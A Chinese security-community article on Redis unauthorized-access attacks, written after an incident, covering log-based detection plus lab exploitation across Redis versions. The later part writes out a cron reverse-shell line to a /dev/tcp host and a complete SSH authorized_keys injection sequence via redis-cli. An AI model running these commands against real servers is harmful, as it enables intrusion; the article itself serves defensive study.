Disclose20652024-11-15文章来源:SecHub网络安全社区
起因是单位有一台redis服务器被攻击,上机排查后是redis未授权计划任务反弹shell拿的权限。
因为之前没有很细地实验过redis的攻防,这次耗时两天做一做redis的实验,发现了一些在网上的文章没看到的东西。
redis版本
5.0.7
6.2.5
7.4.0
服务器版本
Ubuntu 20.04.4 LTS
Index of /releases/ (redis.io)
各个版本redis都有,以6.2.5为例
wget http://download.redis.io/releases/redis-6.2.5.tar.gz tar -zxvf redis-6.2.5.tar.gz cd redis-6.2.5 make cp src/redis-cli /usr/bin/redis-cli cp src/redis-server /usr/bin/redis-server
redis配置文件,redis.conf
#bind 127.0.0.1
protected-mode no
appendonly yes
requirepass sechub
logfile redis.log
loglevel notice
#loadmodule /home/redis/conf/exp.so
以配置文件运行redis
redis-server redis.conf
配置文件:redis.conf
需要注意四点:
①redis默认为127.0.0.1,外部不可访问
②redis默认没有密码
③redis默认没有日志
④redis默认的loglevel 为 notice
requirepass xxxx 设置密码,关于密码有两种修改方式,永久修改是通过此配置,临时修改则是通过redis命令行(redis关闭后临时密码失效)
protected-mode no 保护模式关闭外网可访问
bind 0.0.0.0 监听所有请求,默认为127.0.0.1
logfile /var/log/redis.log 设置日志存放文件,logfile默认为空字符串。如果是空字符串,则使用标准输出;如果是空字符串且是后台运行,则日志被发送到/dev/null。
loglevel notice
Redis 总共支持四个级别:warning,notice,verbose,debug
warning记录重点的告警信息,记录异常的日志
notice 默认日志级别,适用在生产环境,记录重要的操作和告警信息,以及redis发出的一些重要通知
verbose 高度详细的日志,记录大部分操作的详细信息
debug 最详细的日志级别,用于调试,通常在开发排除bug时使用
日志级别从高到低分别是:warning,notice,verbose,debug(越低级记录的信息越详细)
verbose级别开始才会记录连接redis服务器的源ip,notice不记录
daemonize yes
选项daemonize设置成yes时,代表开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中。默认为no,redis在前台运行。
日志存放位置:
很多被配置为/var/log/redis.log,具体存放位置请看redis.conf配置
redis启动
oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
redis关闭
User requested shutdown...
主从复制日志(需要注意主从复制getshell,这里面可能会有攻击者ip)
32677:S 08 Feb 16:14:38.947 * Connecting to MASTER 172.168.10.70:6379
32677:S 08 Feb 16:14:38.948 * MASTER <-> SLAVE sync started
32677:S 08 Feb 16:14:38.948 # Error condition on socket for SYNC: Connection refused
32677:S 08 Feb 16:14:39.950 * Connecting to MASTER 172.168.10.70:6379
32677:S 08 Feb 16:14:39.950 * MASTER <-> SLAVE sync started
32677:S 08 Feb 16:14:39.950 # Error condition on socket for SYNC: Connection refused
32677:S 08 Feb 16:14:40.952 * Connecting to MASTER 172.168.10.70:6379
32677:S 08 Feb 16:14:40.952 * MASTER <-> SLAVE sync started
32677:S 08 Feb 16:14:40.953 # Error condition on socket for SYNC: Connection refused
SLAVE sync started即是主从复制
AOF重写日志:
Starting automatic rewriting of AOF on 100% growth
主从切换日志:
Setting secondary replication ID to 63e58e3dc3d0d1fc4607a519e5a20383eeb70219, valid up to offset: 3823202378426. New replication ID is a8c16c15a0db9f55370096cb7460edba449d3b24
63e58e3dc3d0d1fc4607a519e5a20383eeb70219 为切换前原master的runid
3823202378426 为之前主从复制的位置
a8c16c15a0db9f55370096cb7460edba449d3b24 为新master的runid
#从节点连接到新的主节点后会将原主的runid和offset发给新主,后面尝试尝试进行增量同步数据
被哨兵节点选为主,让其取消复制,成为主服务器(释放主节点的全部socket连接,即客户端连接)
1:M 01 Dec 14:44:51.802 * MASTER MODE enabled (user request from 'id=36 addr=10.172.52.120:43644 fd=11 name=sentinel-33252760-cmd age=9084208 idle=0 flags=x db=0 sub=0 psub=0 multi=3 qbuf=0 qbuf-free=32768 obl=36 oll=0 omem=0 events=r cmd=exec')
连接日志:
Accepted 192.168.31.170:2275
只是意味着这台主机请求连接过,并不说明登录失败/成功。默认notice级别日志是不会记录的。
①通过redis写webshell
②写入SSH公钥文件
③主从复制rce
④写计划任务反弹shell
⑤写入用户环境变量
⑥写入启动项(windows)
⑦写入mof(server 2003)
写文件——>可执行文件被触发/正向连接webshell/ssh连接
redis 7.x版本不需要排查,存在保护机制,且无法关闭,dir和dbfilename无法通过redis-cli修改,只能修改配置文件。
redis 6.x版本除了③,都有可能存在。(拓展模块会存在权限问题,所以③无法利用)
写入文件在日志中不会留下记录,所以以下通过写入文件获得权限的方式不会留痕。
首先查看服务器是否有对外开放的web服务。
检测方法:
通过河马webshell/深信服webshellkiller 查杀web目录
可以先看一下redis进程是哪个用户启动的,如果是root用户运行的,权限较高,各个用户目录都要排查.ssh目录的authotrized_keys 文件是否存在可疑公钥(最好是都排查一下,已经获取权限了都是有可能的)。
检测方法:
排查各个用户目录的.ssh目录的authotrized_keys 文件是否存在可疑公钥
这种攻击手法是会在日志中留下记录的,可以通过日志检测。
类似于
32677:S 08 Feb 16:14:38.947 * Connecting to MASTER 172.168.10.70:6379
32677:S 08 Feb 16:14:38.948 * MASTER <-> SLAVE sync started
这个就是主从复制开始建立连接,启动主从复制的过程,172.168.10.70就是主节点(攻击者)ip。
https://github.com/n0b0dyCN/redis-rogue-server
这是一个利用主从复制RCE的工具,以此工具的使用日志为例,会有如下特征
从节点与主节点进行全量同步,主节点生成的同步标识符为ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ,数据快照大小为44320字节
1145283:S 13 Sep 2024 06:46:52.160 * Full resync from master: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ:1
1145283:S 13 Sep 2024 06:46:52.160 * Discarding previously cached master state.
1145283:S 13 Sep 2024 06:46:52.160 * MASTER <-> REPLICA sync: receiving 44320 bytes from master
1145283:S 13 Sep 2024 06:46:52.463 * MASTER <-> REPLICA sync: Flushing old data
1145283:S 13 Sep 2024 06:46:52.464 * MASTER <-> REPLICA sync: Loading DB in memory
加载恶意so文件,加载的模块名为system(其他工具也都是会留下加载模块的记录的)
Module 'system' loaded from ./exp.so
卸载system模块
Module system unloaded
检测方法:
查看日志
先看系统是不是centos,只有centos可以通过此方式反弹shell。
ubuntu下会报错,因为ubuntu下计划任务文件的权限要求为600 rw 但是默认的是644 rw,所以ubuntu会忽略此计划任务
ERROR (Syntax error, this crontab file will be ignored)
检测方法:
查看/var/spool/cron是否存在恶意计划任务
/etc/profile默认会执行/etc/profile.d目录下的sh文件。
直接将文件写入/etc/profile.d目录中,触发login shell就会执行sh文件。
只有Login shell 启动时才会运行 /etc/profile 这个脚本,而Non-login shell 不会调用这个脚本。常见的login shell有ssh连接、su - username 等情况,并且不需要赋予执行权限。
检测方法:
检查/etc/profile.d中的可执行文件,是否存在异常
windows下会存在,linux下不可行。
linux下需要放在/etc/rc.d或/etc/rc.local
但是都需要给予执行权限,默认创建的文件没有执行权限。
rc.local:linux新的发行版都不存在rc.local目录了
rc.d: 需要将文件放入init.d,然后软链接放到此目录
(都不是单上传一个文件就能行的)
检测方法:
使用autoruns检测系统启动项
mof文件路径:
C:/windows/system32/wbem/mof/nullevt.mof
检测方法:
检查mof文件
连接工具:redis-cli
连接命令:
redis-cli -h 127.0.0.1 -p 6379(本机直接输入redis-cli即可)
首先查看redis.conf文件,查看redis配置
搜索requirepass,查看是否启用,启用了是否为弱密码(默认是不启用,无密码)
在本机输入
redis-cli
进入redis-cli后执行info查看是否有服务器信息的回显,
需要验证则会显示
NOAUTH Authentication required.
如果正常回显信息则表示存在未授权(或者输入ping,回显pong表示未授权)
密码验证使用:
auth password
password替换为密码
连接redis,检查配置是否被修改
config get dir
config get dbfilename
写入文件的两种方式:①RDB文件存储②主从同步写数据
方式①会留下一个 redis.log文件
方式②会留下appendonly.aof、redis.log(加载模块也是会这两个文件,还有可能会有exp.so)
如果是redis写入的文件,还会带有redis的版本信息。
查看redis.log,
是否有异常ip连接日志
Accepted 192.168.31.170:2275
是否存在主从复制日志
32677:S 08 Feb 16:14:38.947 * Connecting to MASTER 172.168.10.70:6379
32677:S 08 Feb 16:14:38.948 * MASTER <-> SLAVE sync started
是否有恶意模块拓展日志
Module 'system' loaded from ./exp.so
网上很多关于redis未授权的利用方法了,多的也不叙述,直接整点不一样的。
4.x 5.x都能打,6.x还有机会RCE,7.x没机会。
修改dir和dbfilename都无法实现,所以通过RDB无法写入文件。
(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
高于6.x版本 需要将配置文件中的
enable-protected-configs yes
yes改为no,只有这样才可以修改配置文件(如果修改后还不行尝试降低版本)6.x版本无需修改
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用
主从复制写入、主从复制加载模块rce也失败。
修改dir和dbfilename可以实现,可通过RDB写入文件。
主从复制加载exp.so模块失败,但是可以写入文件。
加载模块会报错,exp.so 没有执行权限加载不了
Module ./exp.so failed to load: It does not have execute permissions.
测试了一下,因为通过redis写入的文件权限为644,没有执行权限,所以此版本无法加载。
我的测试方法,配置文件中写入:
loadmodule /home/redis/exp.so
如果是644权限,会报错无执行权限,程序退出;再将此文件
chmod 777 exp.so
赋予执行权限,则可以正常运行程序。
其实提到这点的文章不少,但是很多是说因为缓存数据报错的,这点也没错,但是是可以用主从复制写入干净文件的,绕不过的还是文件权限的问题。
1、ubuntu的默认执行命令的为/bin/dash,/bin/sh是指向/bin/dash的软链接,
使用bash -i是交互式命令弹不了的,但是可以用bash -c弹,所以这点不是原因。
* * * * * bash -c "bash -i >& /dev/tcp/192.168.1.20/7777 0>&1"
(这里命令之前不需要添加root用户!!)
2、ubuntu计划任务运行有语法要求,redis写入的文件存在缓存数据,导致语法错误无法运行计划任务(centos会忽略错误所以可以执行)。
这个可以用主从复制写文件的方式绕过。利用工具:RedisWriteFile
https://github.com/r35tart/RedisWriteFile
主从复制写文件有时候会导致redis服务崩溃(概率性事件)
3、ubuntu中计划任务文件需要是600 rw权限,权限不对不能运行,redis写入是644 rw权限。
/var/log/syslog会提示
这点没法绕过,除非有其他方法组合利用能改权限。
此外如果要自己实验的话,注意ubuntu和centos的计划任务路径不一样,ubuntu在
/var/spool/cron/crontabs
centos在
/var/spool/cron
使用rsa的密钥对在6.x版本使用不了,所以换一种类型的密钥对绕过,以ed25519密钥对为例,其实利用过程一样,只是换了一种密钥对。
1、生成公钥:
ssh-keygen -t ed25519
一路回车,默认情况下,生成在用户家目录下的 .ssh 目录下
2、将公钥写入txt文件中,前后用\n换行,避免和Redis缓存数据混合
(echo -e "\n\n";cat id_ed25519.pub;echo -e "\n\n") > 1.txt
3、写入
将txt中的内容作为ssh(键)的值写入redis
有鉴权:
cat 1.txt | redis-cli -h 172.16.1.242 -p 6379 -a password -x set ssh
(password替换为实际密码)
未授权:
cat 1.txt | redis-cli -h 172.16.1.242 -x set ssh
打开redis-cli
redis-cli -h 172.16.1.242
redis-cli中执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
4、使用私钥连接:
ssh root@172.16.1.242 -v -i ~/.ssh/id_ed25519
【Redis7】Redis7 持久化(重点:RDB与AOF重写机制)_icdd rdb是什么数据库-CSDN博客
https://cn-sec.com/archives/1039807.html
Redis在Windows环境下Getshell_hta加载shell-CSDN博客
https://xz.aliyun.com/t/7940